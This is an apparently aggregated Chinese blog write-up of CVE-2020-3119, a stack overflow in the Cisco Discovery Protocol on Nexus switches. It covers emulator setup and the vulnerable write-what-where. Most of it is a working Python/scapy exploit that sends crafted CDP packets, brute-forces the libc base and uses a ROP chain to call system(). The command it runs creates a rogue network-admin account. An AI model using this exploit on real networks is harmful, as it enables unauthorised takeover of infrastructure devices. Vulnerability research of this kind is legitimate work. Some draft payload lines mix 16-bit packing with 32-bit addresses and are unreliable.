7

Cisco CDP cve-2020-3119

 3 years ago
source link: https://o0xmuhe.github.io/2020/04/23/Cisco-CDP-cve-2020-3119/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
8 months ago漏洞分析4 minutes lesen (Über 590 Worte)

Cisco CDP cve-2020-3119

使用GNS3可以复现漏洞;使用EVE也可以,一个定制化的Linux,提供一个仿真环境,我当时两个方法都测试了,GNS3有点小坑,最后在EVE上测试通过的。

配置的流程其实都一样,进入console启动交换机。

1
2
dir
boot nxos.9.3.2.bin

设置密码 Root1234

配置nexus交换机。
参考这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
switch# conf t
Enter configuration commands, one per line. End with CNTL/Z.
switch(config)# interface mgmt0
switch(config-if)# ip address 10.0.2.15/24 <--- NOTE: can use "ip address dhcp" here instead
switch(config-if)in# no shut
switch(config-if)# end
switch# conf t
Enter configuration commands, one per line. End with CNTL/Z.
switch(config)# username vagrant password vagrant role network-admin
switch(config)# username vagrant shell bash
switch(config)# boot nxos bootflash:nxos.7.0.3.I2.2d.bin <--- Note: use correct image name from "dir" command output
switch(config)# copy r s
[########################################] 100%
Copy complete.
switch(config)#

直接反汇编bin有坑,需要gdbdump了看dump。

-w766

-w766

-w766

-w766

1
*(&a1->levels + counter) = *(&ptr + counter);// write what where

这里可以任意地址写。

1
2
3
4
5
6
Arch:     i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RPATH: b'/isan/lib/convert:/isan/lib:/isanboot/lib'
1
ret_addr + JUNK + arg1

猜两个地址,stack base和 libc base, 以及heap address?

存在栈上的堆地址怎么用呢?ret过去?

1
2
3
4
5
6
7
8
9
10
11
12
payload = [
struct.pack('<I', 0x0),
'A' * 64,
struct.pack('!h', 0xdeadbeef), # saved ebp
struct.pack('!h', libc_base + pop_ret_offset), # ret addr
struct.pack('!h', libc_base + libc_bss_offset), # a1
struct.pack('!h', libc_base + pop_ret_offset),
struct.pack('!h', 0xdeadbeef),
...
struct.pack('!h', libc_base + system_offset),
struct.pack('!h', 0xdeadbeef),
]

只需要猜system所在libc的基地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
junk
saved ebp
ret addr; // pop ret即可
a1
pop ret
junk
pop ret
junk
...
pop ret
junk
system_addr
xxxx
cmd_str_addr

a1只要是一个符合条件的指向data段的指针即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from scapy.contrib import cdp
from scapy.all import Ether, LLC, SNAP, sendp
from time import sleep
import struct


offset_to_cmd = 40 # TODO
libc_bss_offset = 0x001B4EE0 + 0x200 # use for a1
system_offset = 0x0003C790 # system func

pr_offset = 0x00021b07 # pop eax; ret
# pppr_offset_offset = 0x000df5d2 # pop ebp ; pop edi ; pop ebx ; ret
ppr_offset_offset = 0x000f5e5a # pop ebp ; pop ebx ; ret

cmd = '/isan/bin/vsh -c "configure terminal ; username test password qweASD123 role network-admin"'

def gen(libc_base):
payload = ""
payload += struct.pack('>I', 0x0) + 'A' * 64
payload += struct.pack('>I', 0x00001337) + struct.pack('>I', libc_base + pr_offset) # saved ebp + ret addr
payload += struct.pack('>I', libc_base + libc_bss_offset) # a1
if offset_to_cmd % 2 == 1:
payload += (struct.pack('>I', libc_base + pr_offset) + struct.pack('>I', 0x00001337)) * offset_to_cmd
else:
payload += struct.pack('>I', libc_base + ppr_offset_offset) + struct.pack('>I', 0x00001337) * 2
payload += (struct.pack('>I', libc_base + pr_offset) + struct.pack('>I', 0x00001337)) * (offset_to_cmd - 3)
payload += struct.pack('>I', libc_base + system_offset) + struct.pack('>I', 0x00001337)
return payload


def exploit(payload):
# link layer
l2_packet = Ether(dst="01:00:0c:cc:cc:cc")
# Logical-Link Control
l2_packet /= LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) / SNAP()
# Cisco Discovery Protocol
cdp_v2 = cdp.CDPv2_HDR(vers=2, ttl=180)
deviceid = cdp.CDPMsgDeviceID(val=cmd)
portid = cdp.CDPMsgPortID(iface=b"ens38")
address = cdp.CDPMsgAddr(naddr=1, addr=cdp.CDPAddrRecordIPv4(addr="192.168.204.77"))
cap = cdp.CDPMsgCapabilities(cap=1)
power_req = cdp.CDPMsgUnknown19(val=payload)
power_level = cdp.CDPMsgPower(power=16)
cdp_packet = cdp_v2/deviceid/portid/address/cap/power_req/power_level
packet = l2_packet / cdp_packet
sendp(packet)


def main():
assert offset_to_cmd !=0
for libc_base in range(0xf5000000, 0xf5fff000, 0x1000):
try:
print('[*] Exploiting...guess libc on {0}'.format(hex(libc_base)))
payload = gen(libc_base)
exploit(payload)
except Exception as e:
print(e)
sleep(5)


def test():
payload = gen(0xf5dd9000)
exploit(payload)

if __name__ == '__main__':
# main()
test()

reference

CVE-2020-3119 Cisco CDP 协议栈溢出漏洞分析s


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK